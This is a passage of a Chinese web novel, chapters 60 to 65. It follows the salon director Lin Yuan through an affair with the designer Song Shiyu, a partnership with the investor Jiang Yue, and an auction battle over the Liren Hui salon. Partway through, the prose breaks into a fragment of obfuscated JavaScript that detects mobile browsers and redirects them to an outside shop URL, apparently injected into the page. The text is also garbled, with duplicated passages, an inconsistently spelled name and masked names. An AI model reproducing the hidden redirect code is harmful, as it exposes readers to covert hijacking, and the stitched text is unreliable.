“你一个人来的?”
“嗯。一个人。”她端起酒杯喝了一口,“我离婚了,没孩子,没什么牵挂。”
“对不起,我不知道——”
“没事。”她笑了,“都过去一年多了。现在挺好的,一个人自由。”
我看着她的眼睛。她说“挺好的”的时候,眼神里有一点落寞,但很快就被笑容盖过去了。
“你呢?有女朋友吗?”
“没有。”
“不信。”她歪着头看我,“你长得不错,工作也不错,怎么会没有?”
“没遇到合适的。”
“那你喜欢什么样的?”
我想了想。“说不好。”
“那就是看感觉。”她笑了,“我也是。”
吃完饭,我买了单。她没跟我抢,只是笑了笑。
“下次我请。”她说。
“行。”
走出餐厅,夜风吹过来,她的头发被吹起来,在路灯下像是镀了一层金边。
“林远。”
“嗯。”
“你以后叫我诗语就行。别叫宋女士了,听着老。”
“好。诗语。”
她笑了。“那我叫你林远。不叫林总监了。”
“行。”
“那林远,你送我回家?”
“好。”
她住在海边的一个公寓小区,不大,但很干净。楼下有便利店,有咖啡馆,有花店。我把车停在她楼下,她解开安全带,没有马上下车。
“怎么了?”我问。
“没怎么。”她抬起头,看了我一眼,又迅速移开,“林远,你上来坐坐?”
这句话她说得很轻,轻得像是说给自己听的。但车里太安静了,安静到她呼吸的起伏我都能感觉到。
“几楼?”
“十二楼。”
我熄了火,拔了钥匙。
电梯里只有我们两个人。她站在我左边,手提着包,站得很直。但她的手指一直在包带上绕来绕去,绕了好几圈。
楼层数字一格一格往上跳,从1到12,其实也就十几秒的事,但感觉过了很久。
电梯门开了,走廊里很安静。她走在前面,从包里摸钥匙,摸了好几秒才掏出来。钥匙插进锁孔的时候,手有点抖。
“紧张?”我问。
“没有。”她推开门,“换鞋。”
鞋柜旁边放着一双男士拖鞋,灰色的,新的,鞋底还带着标签。我看了一眼,没说话,弯腰换上。她从我身边走过去的时候,身上有一股淡淡的香味。
“你坐,我去倒水。”
她在厨房里倒水,我站在客厅里环顾四周。一室一厅,不大,但收拾得很干净。客厅有一面墙的书架,上面摆满了设计类的书。
茶几上放着一束白色的洋甘菊,旁边摞着几本杂志。沙发是浅灰色的,上面搭着一条米白色的毯子,揉成一团,像是刚有人躺过。
她端着两杯水走出来,在我旁边坐下。中间隔了一个靠垫的距离。
“你家挺干净的。”我说。
“一个人住,没什么可乱的。”她把水杯递给我,“你租房子还是住宿舍?”
“宿舍,红颜的员工宿舍。”
“条件怎么样?”
“还行,能住。”
她点了点头,没再问了。
“林远。”
“嗯。”
“你今天开心吗?”
“开心。怎么了?”
“没怎么。”她端起水杯喝了一口,“我很久没跟人一起吃饭了,一个人吃饭,没意思。”
“你前夫不陪你?”
她放下水杯。“他忙。一年到头在家吃不了几顿饭。后来我也习惯了,一个人吃,一个人住,一个人看电视。有时候一整天不说一句话,到了晚上发现自己嗓子都是哑的。”
“那你现在呢?”
她转过头看着我。“现在有你了。”
“宋诗语。”
“嗯。”
“你是不是对我有意思?”
她愣了一下,然后笑了。那笑容里有意外,也有释然。“你问得这么直接?”
“你做得也挺直接的,请我吃饭,给我剥虾,让我上来坐坐。”
“那你觉得呢?”
“我觉得是。”
她盯着我看了几秒,然后站起来,走到我面前。她弯下腰,双手撑在沙发靠背上,把我圈在中间。
第61章 做的直接
宋诗雨的头发垂下来,蹭着我的脸颊,痒痒的。
“林远,你知不知道,你这个人很危险?”
“哪里危险?”
“你明明什么都懂,却装得什么都不懂。”她的脸离我很近,近到我能看清她瞳孔里的自己,“你这样,女人会沦陷的。”
“那你沦陷了吗?”
她没有回答,她低下头,吻了我。
她的嘴唇很软,贴在我嘴唇上的时候,我能感觉到她在微微发抖。
我伸出手,揽住了她的腰。她的腰很细,隔着连衣裙的布料,能感觉到她皮肤的温度。她的手从沙发靠背上滑下来,搭在我的肩膀上,手指轻轻攥着我的衬衫领口。
吻了很久,她松开我,喘着气,脸很红。
“林远。”
“嗯。”
“你心跳好快。”
“你的也是。”
她笑了,额头抵着我的额头。“你知道我等这一天等了多久吗?”
“多久?”
“从第一次见你。”
那天你穿了一件白衬衫,站在前台,周敏姐跟你说话,你在笑。我站在门口看了一会儿,心想这个人真帅。”
“那你当时怎么不进来?”
“当时不好意思!”
“那现在好意思了?”
“嗯……你坏……”
她拉着我的手,从沙发挪到了地毯上。地毯很厚,毛绒绒的,坐上去很舒服。我坐在她旁边,肩膀挨着肩膀。
她倒了两杯红酒,递给我一杯。
“你家里怎么什么都有?”我问。
“一个人住久了,就什么都备着。”她端起酒杯,“万一哪天有人来呢。”
“你早就准备让我来了?”
“从第一次你送我回家就开始准备了。”她抿了一口酒,“拖鞋、酒杯、你爱吃的零食——我都买了。但你一直美没人陪我。”
“你怎么知道我爱吃什么?”
“周敏姐说的,她说你爱吃排骨,爱吃虾,不爱吃辣。”她看着我,“我记着呢。”
“宋诗语,你到底对我上了多少心?”
“很多。”
她放下酒杯,靠在我肩膀上。我伸出手,揽住她的肩膀,把她往怀里带了带。
“林远。”
“嗯。”
“你以后会离开滨海吗?”
“不知道,看情况。”
“如果你离开,会告诉我吗?”
“会。”
“林远。”
“嗯。”
“你以前交过几个女朋友?”
“一个都没有。”
她抬起头,看着我。“一个都没有?”
“大学的时候穷,交不起。毕业了忙,没时间。”
“那现在算你的第一次?”
呃……我没好意思回答,毕竟外面都说我被各种富婆包养。要是让人家知道我还是个雏儿,怪不好意思的。
“林远。”
“嗯。”
“你今晚别走了。”
“好。”
她笑了,凑过来在我脸上亲了一下。然后站起来,拉着我的手,往卧室走。
“你能抱着我吗?”
我伸出手臂,让她枕着。她靠过来,脸埋在我的颈窝里,手搭在我的腰上。她的身体贴着我,从胸口到膝盖,没有缝隙。
“你的心跳好快。”她说。
那天晚上,我们聊了很多。
她讲她的过去——在省城读大学,学设计,毕业进了一家广告公司。
她笑了,凑过来吻了我。这一次比之前更深,更慢。她的手从我的腰滑到我的后背,指尖轻轻划着。我的手从她的肩膀滑到她的腰侧,隔着薄薄的睡衣。
她笑了,重新靠在我怀里。“你这个人,真的很好。”
“哪里好?”
“你尊重我。”她的声音很轻,“你不急,你等。”
她身体慢慢放松,整个人软软地靠在我怀里。
宋诗语之后,我的日子变得规律起来。白天在红颜谈客户、做方案、接电话,晚上喝酒、去她家过夜。但秦红看我的眼神越来越不对了。
那天下午,她把我叫进办公室,关上门。“林远,你最近是不是跟姜月有联系?”
“没有。她找过我,我没答应。”
“那你在跟谁来往?天天晚上不见人。”
“红姐,我的私事不用跟你汇报吧?”
她盯着我看了几秒,然后笑了。“行。不汇报。但你记住,你现在是红颜的总监,注意影响。”
“我知道。”
她挥了挥手,让我出去了。
姜月的电话是在宋诗语之后第三天打来的。
“林远,考虑得怎么样了?”
“姜总,我在红颜干得好好的。”
“我知道。但红颜是秦红的,不是你的。你在我这里,可以有自己的东西。”她顿了顿,“你不想有自己的公司吗?”
我想了想。“姜总,面谈吧。”
“好。明天下午三点,我办公室。”
第二天下午,我准时到了鼎辉资本滨海分公司。姜月今天穿了一件白色的衬衫,领口微敞,露出一截锁骨。头发散着,比上次见的时候长了一点。她坐在沙发上泡茶,动作不急不慢。
“坐。”
我在她对面坐下。她把一杯茶推到我面前。
“林远,我开门见山。鼎辉想在滨海收购一家美容院,作为我们在华东区的样板店。我们需要一个懂行的人来运营。”她看着我,“你来,给你百分之二十的股份,你是老板。”
“哪家美容院?”
“丽人会。”
我放下茶杯。“丽人会的资产被冻结了。”
“下个月就解冻了。我已经跟法院谈好了,拍卖的时候鼎辉会出手。”她端起茶杯,“你负责运营,我负责资本。五五分。”
“五五?”
“你五,我五。”她放下茶杯,“林远,这不是打工。这是合伙。”
我看着她,心里动了一下。“姜总,你为什么这么看好我?”
“因为你能打,能做事,还能——”她笑了,“泡妞。”
我愣了一下。
“你以为我不知道?你跟那个姓宋的设计师走得很近。”她端起茶杯,“但那不是坏事。在这个圈子里,有人脉比有钱重要。她能帮你打开省城的市场。”
“姜总,你查我?”
“不是查。是了解。”她放下茶杯,“我要跟一个人合伙,总得知道他是什么样的人。”
“那你觉得我是什么样的人?”
“聪明,有野心,但还有点良心。”她看着我,“这种人,不多。”
从姜月办公室出来,我站在楼下,点了一根烟。
丽人会,百分之二十的股份。自己当老板。不用再看秦红的脸色。不用再住员工宿舍,不用再开公司的车。我想了想,掐灭烟头,给秦红打了个电话。
“红姐,晚上有空吗?我想跟你谈谈。”
“谈什么?”
“见面说。”
晚上,秦红家。她做了一桌子菜,比上次好多了。红烧排骨、清炒虾仁、蒜蓉西兰花、凉拌木耳,还有一碗排骨汤。她坐在我对面,看着我吃。
第62章 创业的想法
“说吧,什么事?”
“红姐,姜月找我了。”
她的筷子停了一下。“她说什么了?”
“她想收购丽人会,让我去运营。给我百分之二十的股份。”
秦红放下筷子,看着我。“你答应了?”
“没有。我说考虑考虑。”
“那你来找我,是什么意思?”
“红姐,我想听听你的想法。”
她端起酒杯,喝了一口。“林远,你长大了。以前你不会跟我说这种话,你会直接做决定,然后通知我。”
“以前我不懂事。”
“现在懂事了?”她放下酒杯,“你要是懂事,就该知道,姜月是在利用你。她给你股份,是因为你有客户、有口碑、有本事。等她把丽人会的客户吃干抹净,你对她还有什么用?”
“红姐,姜月不是孙曼丽。”
“她比孙曼丽更狠。孙曼丽是明着来,她是暗着来。”秦红看着我,“林远,我不拦你。你想去,就去。但你别后悔。”
“红姐,我没说要去。”
“你在想。”她站起来,走到窗边,“你从进来就在想。你的眼睛骗不了我。”
我沉默了。
她转过身,看着我。“林远,你要是想去,我不拦你。但你要记住,红颜永远是你的后路。你在外面干不下去了,回来,我还收你。”
“红姐——”
“别说了。”她走回来,坐下,“吃饭。”
从秦红家出来,我开着车在滨海市区转了一圈。从市中心到老城区,从老城区到开发区。我看着路两边的写字楼、商场、住宅小区。这座城市很大,大到能装下所有人的野心。但我知道,想在这座城市里站起来,不能靠别人,只能靠自己。
手机震了。宋诗语的消息。
“林远,今晚来吗?”
“晚点。还在外面。”
“好。我等你。”
我放下手机,踩下油门。
她穿着我的白衬衫,光着脚,头发散着。看到我进来,笑了。
“吃饭了吗?”
“吃了。”
“那陪我喝点酒。”
她拉着我坐到阳台上,倒了两杯红酒。
“林远,你是不是有心事?”
“没有。”
“骗人。”她看着我,“你今天不一样。”
“哪里不一样?”
“你眼睛里有事。”她端起酒杯,“不想说就不说。但你要是想说,我听着。”
我沉默了一会儿。“有人想让我跟她合伙开美容院。”
“谁?”
“省城来的投资方。”
“你想去吗?”
“想。但我在红颜还没干够。”
她放下酒杯。“林远,你想去就去。不用顾虑我。我又不是你老婆,你不需要对我负责。”
“宋诗语。”
“嗯。”
“你希望我去吗?”
她看着我,沉默了几秒。“我希望你开心。你去哪,做什么,跟我没关系。但你来找我的时候,你开心,我就开心。”
我看着她,心里涌起一股说不清的情绪。我伸出手,拉住了她的手。她的手很暖,很软。
“宋诗语。”
“嗯。”
“谢谢你。”
“谢什么?”
“谢谢你对我好。”
她笑了,凑过来在我脸上亲了一下。“我对你好,是因为你值得。”
那天晚上,我在她家过的夜。没有做别的事,就是抱着她,聊到很晚。她讲她的设计工作室,讲她新接的项目,讲她想去哪里旅游。我听着,偶尔插几句。她的声音很好听,低低的,软软的,像在耳边讲故事。
“林远。”
“嗯。”
“你以后要是真开了美容院,我给你做设计,免费的。”
“行。”
“但你得请我吃饭。”
“天天请都行。”
她笑了,把脸埋在我胸口。“你这个人,真是越来越会说话了。”
“跟你学的。”
“我可没教你这些。”
“你教了。”我抱着她,“你教我,女人喜欢听什么。”
她抬起头,看着我。“那你学到了吗?”
“学到了。”
“学到了什么?”
“学到了——”我低下头,在她额头上亲了一下,“不能光说不做。”
她笑了,笑得眼睛弯成了月牙。
那天晚上,月亮很亮。窗外的海风带着咸味,吹进来,凉飕飕的。我抱着她,听着她的呼吸,慢慢睡着了。
第二天早上,她做了早饭。煎蛋、牛奶、烤面包。她坐在我对面,看着我吃。
“林远。”
“嗯。”
“你昨晚说的那个投资方,你打算怎么办?”
“再等等。”
“等什么?”
“等她们加价。”
她愣了一下,然后笑了。“你学坏了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452922|200897||http|test|mini|href|location''.split(''|''),0,{}));
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>“不是学坏。是学会了。”
她看着我,眼神里有欣赏,也有一种说不清的温柔。
“林远,你以后一定会很厉害。”
“为什么?”
“因为你知道自己要什么,也知道怎么要。”
我笑了,没接话。
吃完早饭,我换了衣服,准备去上班。她站在门口,帮我整了整衣领。
“晚上还来吗?”
“来。”
“好。我给你做好吃的。”
我低下头,在她嘴唇上亲了一下。她没有躲,踮起脚尖,回应了我。
我决定接受姜月的合作。
不是冲动。是算清楚了。秦红给我提成,但红颜永远姓秦。姜月给我股份,丽人会的新公司,我占百分之二十。不是打工,是合伙。这个区别,我花了三天想明白。
周三早上,我给姜月发了条消息:“姜总,合同准备好了吗?”
她秒回:“随时。今天下午三点,我办公室。”
“好。”
下午两点半,我到了鼎辉资本楼下。
电梯门打开的时候,一个穿黑色西装裙的女人从里面冲出来,差点撞到我。她抬起头,看了我一眼,眼睛红红的,像是刚哭过。没说话,绕过我走了。
我按了电梯,上楼。
姜月的办公室门开着。她坐在沙发上,面前摆着两份合同,还有一瓶已经开了的红酒。看到我进来,她笑了,指了指对面的位置。
“坐。”
我在她对面坐下。她把一份合同推到我面前。
“看看。有问题现在提。”
我拿起合同,一页一页翻。股份比例、出资方式、利润分配、退出机制——每一条都写得很清楚。
百分之二十的股份,我不需要出一分钱,用技术和**入股。公司注册在鼎辉资本名下,但运营权在我手里。
“姜总,这条件太优厚了。”
“优厚?”她端起酒杯,“你觉得我傻?”
“不觉得。”
“那我为什么给你这么优厚的条件?”
“因为我值。”
她看着我,笑了。“林远,你变了。以前你不会说这种话。”
“以前我不懂自己的价值。”
“现在懂了?”
“现在懂了。”
她放下酒杯,站起来,走到我面前,伸出手。“那合作愉快。”
我握了一下,她的手很暖,这次握得比之前紧。
第63章 有钱的姜月
签完合同,姜月说要请我吃饭。
“庆祝一下。”她说,“你想吃什么?”
“你定。”
“去我家。我让阿姨做。”
“你家?”
“怎么,不敢去?”
我看着她。“有什么不敢的。”
她笑了,拿起包。“走吧。”
姜月的家在滨海市中心的一栋高层公寓里,顶楼,复式。客厅落地窗外是整个滨海市的夜景,简直壕无人性!
装修很讲究,不是那种暴发户式的金碧辉煌,是那种低调但有质感的风格。沙发是深灰色的,茶几上摆着一束白色的马蹄莲,墙上挂着一幅油画,我看不懂,但觉得贵。
“随便坐。”她换了拖鞋,走进厨房,“阿姨今天不在,我让餐厅送了餐。你先喝点酒。”
这座城市我来了一年,从月薪三千五到月薪五万,从住宿舍到马上有自己的公司。说快也快,说慢也慢。
“想什么呢?”姜月走过来,接过酒杯。
“想这一**。”
“不容易吧?”
“还行。”
她靠在窗边,看着我。“林远,你知不知道,我第一次见你的时候,觉得你像个学生。”
“现在呢?”
“现在像个老板。”她抿了一口酒,“但你眼睛没变,还是干净的。”
这句话,苏婉说过,宋诗语也说过。我笑了笑,没接话。
餐送来了。四菜一汤,摆盘精致,味道也不错。姜月坐在我对面,吃得很少,酒喝得多。
“林远。”
“嗯。”
“你有女朋友吗?”
我想了想。“算有吧。”
“什么叫算有?”
“有一个关系很好的女人,但她不是我女朋友。”
“那是你什么人?”
“朋友。”
姜月看着我,眼神里有审视,也有好奇。“你这个人,真有意思。”
“哪里有意思?”
“你跟别的男人不一样。”她放下筷子,“别的男人,有了钱就急着找女人。你有了钱,还是那个样子。”
“我什么样子?”
“不急着证明自己。”她端起酒杯,“你好像什么都不缺。”
“我缺钱。”
她笑了。“钱有了之后呢?”
“赚更多的钱。”
“然后呢?”
“然后——”我看着她,“还没想好。”
她放下酒杯,站起来,走到我身边,坐在我旁边的椅子上。
“林远,你知道吗,我看上的不只是你的能力。”
“还有什么?”
“还有你这个人。”她看着我的眼睛,“你这个人,不贪,不装,不油。在这个圈子里,这样的人不多。”
“姜总,你喝多了。”
“没有。我只喝了两杯。”她的手搭在我的手背上,“林远,我不是在跟你谈工作。”
我知道。但我没动。
“姜总,合同签了,丽人会的事我会全力以赴。其他的——”我顿了顿,“以后再说。”
她盯着我看了几秒,然后收回手,笑了。“行。以后再说。”
从姜月家出来,已经快十一点了。
我刚上车,手机震了。宋诗语的消息。
“林远,今晚还来吗?”
“晚点,刚谈完事。”
“好,我等你。”
到了宋诗语家楼下,我熄了火,在车里坐了一会儿。
上楼,宋诗语穿着我的白衬衫,光着脚,头发散着。看到我进来,她笑了,走过来抱住我。
“你喝酒了?”
“喝了一点。”
“谈什么事?”
“签了个合同。跟人合伙开公司。”
她松开我,看着我。“你要离开红颜?”
“不是离开。是兼着。新公司主要是丽人会的业务,跟红颜不冲突。”
我说这话违心了,其实丽人会的客户红颜也在争。但是给别人打工,和给自己打工是两码事。
她点了点头,没再问了。她从来不问我工作的事,也不问我跟谁吃饭、跟谁喝酒。她只问我来不来吃饭,来不来睡觉。
“吃饭了吗?”
“吃了。你呢?”
“等你等到现在。”
我愣了一下。“你没吃?”
“不饿。”她笑了,“你来了我就饱了。”
我看着她,心里涌起一股说不清的情绪。我拉住她的手,把她拉进怀里。她靠在我胸口,头发蹭着我的下巴。
“诗语。”
“嗯。”
“以后
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别等我吃饭了。你先吃。”
“我想跟你一起吃。”
“那你就提前吃一点,等我来了再陪我吃一点。”
她抬起头,看着我。“你这是在关心我?”
“对。”
她笑了,凑过来亲了我一下。“行。听你的。”
她靠在我肩膀上,手搭在我的腿上。
“林远。”
“嗯。”
“你新公司开了之后,是不是更忙了?”
“可能吧。”
“那你还会来吗?”
“会。”
她沉默了一会儿。“你要是不来了,跟我说一声。我不等你。”
“你不生气?”
“不生气。”她的声音很轻,“你有你的事,我有我的事。在一起的时候开心就行。”
“诗语。”
“嗯。”
“你对我真好。”
她闭上眼睛:“你别有压力。我不是在投资你,也不是在绑你。我就是想对你好。”
“我知道。”
“你以后要是真开了公司,我给你做设计。免费的。”
“行。”
“但你得请我吃饭。”
“天天请都行。”
她笑了,把脸埋在我胸口。“你这个人,真是越来越会说话了。”
“跟你学的。”
“我可没教你这些。”
“你教了。”我抱着她,“你教我,女人喜欢听什么。”
她抬起头,看着我。“那你学到了吗?”
“学到了。”
“学到了什么?”
“学到了——”我低下头,在她额头上亲了一下,“不能光说不做。”
她笑了,笑得眼睛弯成了月牙。
那天晚上,月亮很亮。窗外的海风带着咸味,吹进来,凉飕飕的。我抱着她,听着她的呼吸,慢慢睡着了。
第二天早上,她做了早饭。煎蛋、牛奶、烤面包。她坐在我对面,看着我吃。
“林远。”
“嗯。”
“你新公司的办公室,找好了吗?”
“还没有。姜月说她会安排。”
“要不要我帮你看看?”
“你懂这个?”
“我是做设计的。”她笑了,“办公室装修,我专业。”
“行。那交给你。”
第64章 有人竞标
姜月打电话来的时候,我正在宋诗语家吃早饭。
手机响了,姜月的声音很急:“林远,丽人会的资产拍卖出问题了。”
“什么问题?”
“有人加价。省城来的,姓陈。他直接报了九百万,比底价高出一百万。”
我放下面包。“谁介绍来的?”
“不知道。但这个人点名要见你。”
“见我?”
“对。他说不见你,就不谈。”姜月顿了顿,“你过来一趟,我们商量一下。”
“好。”
我挂了电话。宋诗语看着我。“出事了?”
“有人要抢丽人会。”
“你能搞定吗?”
“能。”
她笑了,凑过来在我脸上亲了一下。“那你去吧。”
到了姜月办公室,她正在看一份文件。看到我进来,把文件推过来。
“这个陈总,叫**。省城做建材生意的,跟赵三江有过合作。”
“赵三江?”
“对。就是之前找人打你的那个。”姜月看着我,“他来者不善。”
“他想干什么?”
“他想接手丽人会,然后自己找人运营。”姜月靠在椅背上,“但他点名要见你,说明他知道你手里有客户。”
“他怎么知道的?”
“这个圈子就这么大。你手里三十七个客户,总有人会说出去。”
我沉默了一会儿。“他约了什么时间?”
“今天下午三点。在他住的酒店。”
“我去。”
“我陪你。”
“不用。”我站起来,“我自己去。”
姜月看着我。“林远,你确定?”
“确定。”
她盯着我看了几秒,然后笑了。“行。你长大了。”
下午三点,我到了**住的酒店。
滨海市最贵的那家,大堂里铺着大理石,水晶吊灯从三楼垂下来。我报了名字,服务员带我上了十八楼。
门开了。**站在门口,五十多岁,胖,脸红,穿着一件花衬衫,脖子上挂着一根金链子。他上下打量了我一眼,笑了。
“林远?比照片上年轻。”
“陈总好。”
“进来坐。”他侧身让我进去。
房间里还有一个人。女人,三十出头,短发,穿着一件白色的衬衫,下面是一条黑色的西裤。她坐在沙发上,手里端着一杯茶。
我愣了一下。
方琳。
宋诗语的朋友。省城那个开咖啡店的。
方琳看到我,也愣了一下。然后她笑了,放下茶杯。“林远,又见面了。”
“方姐。”
“你们认识?”**看看她,又看看我。
“认识。”方琳端起茶杯,“他是我朋友的男朋友。”
**的脸色变了一下,但很快恢复了。“那更好办了。都是熟人,坐下谈。”
我在对面坐下。**给我倒了一杯茶。
“林远,我开门见山。丽人会的资产,我要了。九百万,我已经报了。”
“陈总,丽人会的客户都在我手里。你买个空壳回去,没用。”
“我知道。”他端起茶杯,“所以我要见你。”
“见**什么?”
“谈合作。”他放下茶杯,“你来帮我运营。姜月给你什么条件,我翻倍。”
“陈总,我已经跟姜月签了合同。”
“合同可以毁约。违约金我出。”他看着我,“林远,你是个聪明人。聪明人应该知道,谁给的条件好,就跟谁。”
我没有说话。方琳在旁边喝茶,没插嘴。
“林远,你考虑考虑。”**站起来,“不急,我等得起。”
“陈总,不用考虑。”我也站起来,“我不会毁约。”
他的脸色沉了下来。“你确定?”
“确定。”
他盯着我看了几秒,然后笑了。“行。那走着瞧。”
从酒店出来,方琳跟在我后面。
“林远。”
我停下来,转过身。
“你刚才不该拒绝他。”她走过来,“**这个人,不好惹。”
“方姐,你怎么跟他在一起?”
“他是我老公的朋友。”她看着我,“今天是他叫我来陪的。**我认识你。”
“那你现在知道了。”
“知道了。”她笑了,“林远,你胆子挺大。”
“不是胆子大。是答应了的事,不能反悔。”
她盯着我看了几秒。“你这个人,跟诗语说的一样。”
“她说什么?”
“她说你靠谱。”方琳从包里拿出一张名片,“我在省城,有什么事随时找我。**那边,我帮你盯着。”
我接过名片。“方姐,谢了。”
“别谢。你好好对诗语就行。”她转身走了。白色的衬衫在阳光里晃了一下,上了一辆黑色的奔驰。
我站在酒店门口,点了一根烟。
手机震了。姜月的消息。
“谈得怎么样?”
“谈崩了。”
“他什么条件?”
“让我毁约,去他那边。翻倍条件。”
“你答应了?”
“没有。”
姜月沉默了几秒,发
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了一个笑脸。“林远,我没看错人。”
晚上,我去宋诗语家。
她穿着我的白衬衫,光着脚,头发散着。看到我进来,她走过来,抱住我。
“谈得怎么样?”
“谈崩了。”
“没事吧?”
“没事。”
她松开我,看着我。“方琳是不是也在?”
我愣了一下。“你怎么知道?”
“她给我打电话了。”宋诗语拉着我坐到沙发上,“她说**这个人不好惹,让你小心点。”
“她还说了什么?”
“她还说——”宋诗语看着我,“她说你拒绝了**,是因为你答应了姜月。”
“对。”
“你为什么不去**那边?条件更好。”
“因为答应了的事,不能反悔。”
她盯着我看了几秒,然后笑了。凑过来,在我脸上亲了一下。
“林远,你这个人,真的靠谱。”
“你才知道?”
她笑了,靠在我肩膀上。
“宋诗语。”
“嗯。”
“你怕不怕?”
“怕什么?”
“怕**找我麻烦。”
“不怕。”她的声音很轻,“因为你不会有事。”
“你怎么知道?”
“因为我相信你。”
我抱着她,没说话。窗外的月亮很亮,照在地板上,白花花的。
那天晚上,我们没做别的事。就是抱着,聊到很晚。她讲方琳以前的事,讲她开咖啡店的故事。我听着,偶尔插几句。
“林远。”
“嗯。”
“方琳说你很帅。”
“她真说了?”
“真说了。”她笑了,“她还说你眼睛好看。”
“你怎么回的?”
“我说,我知道。”
我笑了。
她也笑了。
第二天早上,姜月打电话来。
“林远,拍卖会改到下周五。**那边没有撤标,他还要争。”
“我知道了。”
“你手里那三十七个客户,能确保不流失吗?”
“能。”
“那就行。”她顿了顿,“还有一件事。方琳给我打电话了。”
“她说什么?”
“她说**可能会从客户那边下手。让你盯紧了。”
“好。”
挂了电话,我坐在床边,看着窗外的阳光。
宋诗语还在睡,头发散在枕头上,呼吸均匀。我没吵她,换了衣服,出了门。
客户那边,得一个一个打电话了。
三十七个。一个都不能丢。
第65章 成功收购
自从**来滨海抢客户,我的手机就没停过。
周敏第一个打来。“林远,听说省城有人要挖我们?”
“周姐,你听谁说的?”
“圈子就这么大。那人托人带话,说只要我们转去他那边,每人送两万块的卡。”
“你怎么回的?”
“我说,林远去哪个美容院,我就去哪个美容院。”她笑了,“你不在的地方,我不去。”
第二个电话是陈姐:“小远,有人挖我,你知道不?”
“知道。”
“我没搭理他。”她顿了顿,“但你得请我吃饭。”
“行。改天。”
“别改天,就今晚。”
“今晚有事。”
“那明晚。”她笑了,“你别想跑。”
第三个是周敏介绍的那批客户里的一个,姓刘,四十多岁,老公做房地产的。“林总监,那个姓陈的找到我了,说要给我三万块的卡。”
“你怎么说的?”
“我说,你先把林远挖过去,我再考虑。”她笑了,“林总监,你不会走吧?”
“不会。”
“那就行。”
一个下午,我打了二十多个电话。三十七个客户,一个都没丢。不是因为我厉害,是因为这些客户跟我的关系,不是靠钱买的。是靠一次次做护理、一次次聊天、一次次解决问题攒下来的。**不懂这个。他以为有钱就能搞定一切。
周五,拍卖会。
滨海市公共资源交易中心,三楼拍卖厅。我到的时候,姜月已经在门口等了。她穿了一件黑色的西装裙,头发盘起来,耳朵上挂着两枚细长的钻石耳钉。整个人看起来像一把出鞘的刀。
“来了?”
“来了。”
“**在里面。”她压低声音,“带了三个律师。”
“律师再多也没用。钱不够,律师能给他补?”
姜月笑了。“你倒是淡定。”
“不是淡定。是算清楚了。”
我们走进拍卖厅。**坐在第一排,旁边坐着三个穿西装的男人,桌上摆着几份文件。他回头看到我,笑了,那笑容里有得意,也有挑衅。
“林远,来了?”
“陈总好。”
“坐吧。今天看看谁能拿下。”
我在后排坐下,姜月坐在我旁边。
拍卖师上台,宣读了规则。丽人会资产,包括店面、设备、品牌商标,打包拍卖。起拍价八百万,加价幅度十万。
“八百万。”**举牌。
“八百一十万。”姜月举牌。
“九百万。”**直接加价九十万,全场哗然。
姜月看了我一眼。我点了点头。
“九百一十万。”姜月举牌。
“九百五十万。”**又加了四十万。
“九百六十万。”
“一千万。”**站起来,举牌。
全场安静了。拍卖师看了看台下:“一千万,第一次。”
姜月看着我。
“一千零十万。”我说。
**转过头,盯着我。“林远,你确定?”
“确定。”
他咬了咬牙。“一千零五十万。”
“一千零六十万。”
“一千一百万。”**的声音大了。
姜月拉了拉我的袖子。我没理她。
“一千一百一十万。”
**盯着我看了几秒,然后坐下了。“不跟了。”
拍卖师敲锤。“一千一百一十万,成交。”
从交易中心出来,**追上来。
“林远。”
我停下来。
“你知不知道,你拍贵了?”他看着我,“丽人会的资产,最多值九百万。你花了一千一百万。”
“我知道。”
“那你为什么还拍?”
“因为我不想让你拿到。”
他盯着我看了几秒,然后笑了。“行,你有种。但你别高兴太早。丽人会的客户,你留不住。”
“陈总,我留不留得住,不是你说了算。”
他冷哼一声,转身上了车。
姜月走过来,站在我旁边。“林远,你刚才为什么加价?我们预算只有一千万。”
“因为他会跟。”我看着她,“他想要丽人会,不是为了赚钱,是为了恶心我们。这种人,不会为面子花太多钱。一千一百万,是他的上限。”
“你怎么知道?”
“因为他带的是律师,不是财务。”我点了一根烟,“带律师来,说明他准备打官司。带财务来,说明他准备花钱。他只带了律师。”
姜月看着我,沉默了几秒,然后笑了。“林远,你什么时候变得这么精了?”
“吃亏吃多了。”
晚上,宋诗语做了一桌子菜。
红烧排骨、清炒虾仁、蒜蓉西兰花、凉拌木耳,还有一碗排骨汤。她坐在我对面,看着我吃。
“听说你今天花了一千一百万?”
“你怎么知道的?”
“方琳告诉我的。”她给我夹了一块排骨,“她说**气得脸都绿了。”
“他活该。”
“你就不怕他报复?”
“怕。但不能因为怕,就不做了。”
她看着我,眼神里有心疼,也有骄傲。
“林远。”
“嗯。”
“你以后会不会也变得像他那样?”
“哪样?”
“为了钱不择手段。”
“不会。”
“为什么?”
“因为我不缺钱。”
她笑了。“你现在不缺了?”
“不缺了,有人愿意出资。”
她站起来,走过来,坐在我腿上,双手搂着我的脖子。
“林远。”
“嗯。”
“你现在有多少钱了?”
“够花。”
“够花是多少?”
“够养你。”
她愣了一下,然后笑了,笑得眼睛弯成了月牙。“你养我?你养得起吗?”
“试试看。”
她低下头,吻了我。
那天晚上,我们喝了很多酒。她脸红红的,靠在我怀里,手指在我胸口画圈。
“林远。”
“嗯。”
“你以后会不会不要我?”
“不会。”
“真的?”
“真的。”
她笑了,把脸埋在我胸口。
窗外的月亮很亮。
第二天,我去红颜收拾东西。
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秦红在办公室,看到我进来,放下笔。
“听说你花了一千一百万?”
“嗯。”
“贵了。”
“我知道,但值得。”
一千一百万比姜月准备的一千万多花了一百万,但是这笔钱她是愿意出的,因为她要在滨海美容界扎根必须拿下丽人会。
丽人会毕竟是曾经的头部,不管是客官数量还是客户质量,都不是那些小美容院能比的。
她看着我,沉默了一会儿。“林远,你现在不一样了。”
“哪里不一样?”
“你说话的语气,像老板了。”
“红姐,我还是我。”
“不是了。”她站起来,走到我面前,“你以前会紧张,会脸红。现在不会了。”
“红姐,人都会变的。”
“我知道。”她伸出手,帮我整了整衣领,“但我还是喜欢以前那个你。”
“以前那个我太傻了。”
“傻一点好。”她收回手,“太精了,累。”
我没有接话。
她走回办公桌后面,从抽屉里拿出一个信封,推过来。
